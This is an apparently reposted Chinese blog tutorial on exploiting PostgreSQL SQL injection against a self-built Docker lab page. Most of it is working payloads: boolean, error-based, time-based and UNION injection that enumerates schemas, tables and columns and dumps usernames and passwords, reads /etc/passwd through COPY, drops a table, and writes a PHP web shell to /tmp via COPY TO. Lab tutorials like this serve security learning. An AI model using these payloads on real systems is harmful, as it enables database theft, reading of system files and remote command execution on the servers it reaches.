标签:pos str 存在 函数 tac gem sys rop code
PostgreSQL 是一个免费的对象-关系数据库服务器(ORDBMS),在灵活的BSD许可证下发行。PostgreSQL 开发者把它念作 post-gress-Q-L。
PostgreSQL 的 Slogan 是 "世界上最先进的开源关系型数据库"。
这里我们通过一个简单的靶场来学习postgresql数据库相关漏洞
这里我们是利用docker搭建的环境
访问我们搭建的地址:http://172.16.1.238:90/index.php?uid=1
?
index.php?uid=1 AND 1=1 ????运行正常
index.php?uid=1 AND 1=2 ????运行异常
?
获取版本号:
select * from tbuser ?where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
?
获取Schemas名称
select * from tbuser ?where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
select * from tbuser ?where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables where schemaname not in (‘public‘) limit 1)::text AS NUMERIC)
AND 6489=(SELECT 6489 FROM PG_SLEEP(5))?延时5秒
?
?uid=1;select PG_SLEEP(5)--
?
?uid=1 order by 1,2,3 ??????????????????????????运行正常
?uid=1 order by 1,2,3,4 ????????????????????????运行异常,获取字段数3
?uid=1 UNION ALL SELECT NULL,(‘11111‘),NULL-- ??查看是否输出11111
此处均为联合查询
?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
语法解析:
COALESCE(expression[,n]) ???coalesce函数返回参数(列名)中第一个非NULL值的字段值,注意不是为空‘‘
cast (‘1‘ as numeric) ????????1转换为数字类型
简化:
?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--
用户创建的数据库默认模式名称(schemaname)为public
uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN (‘public‘)
?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname=‘tbuser‘ AND nspname=‘public‘—
?
?uid=1 UNION ALL SELECT NULL,id||‘,‘||username||‘,‘||passwd,NULL FROM public.tbuser--
PostgreSQL中部分内置函数、表
?uid=1 union select NULL,NULL,pg_ls_dir(‘./‘)
?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM ‘/etc/passwd‘;
SELECT NULL,t,NULL FROM passwd;
?uid=1;
DROP TABLE pass;(这里需要为数据库存在的表)
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES (‘<?php @system("$_GET[cmd]");?>‘);
COPY hacktb(t) TO ‘/tmp/hack.php‘;
标签:pos str 存在 函数 tac gem sys rop code
原文地址:https://blog.51cto.com/14872976/2532029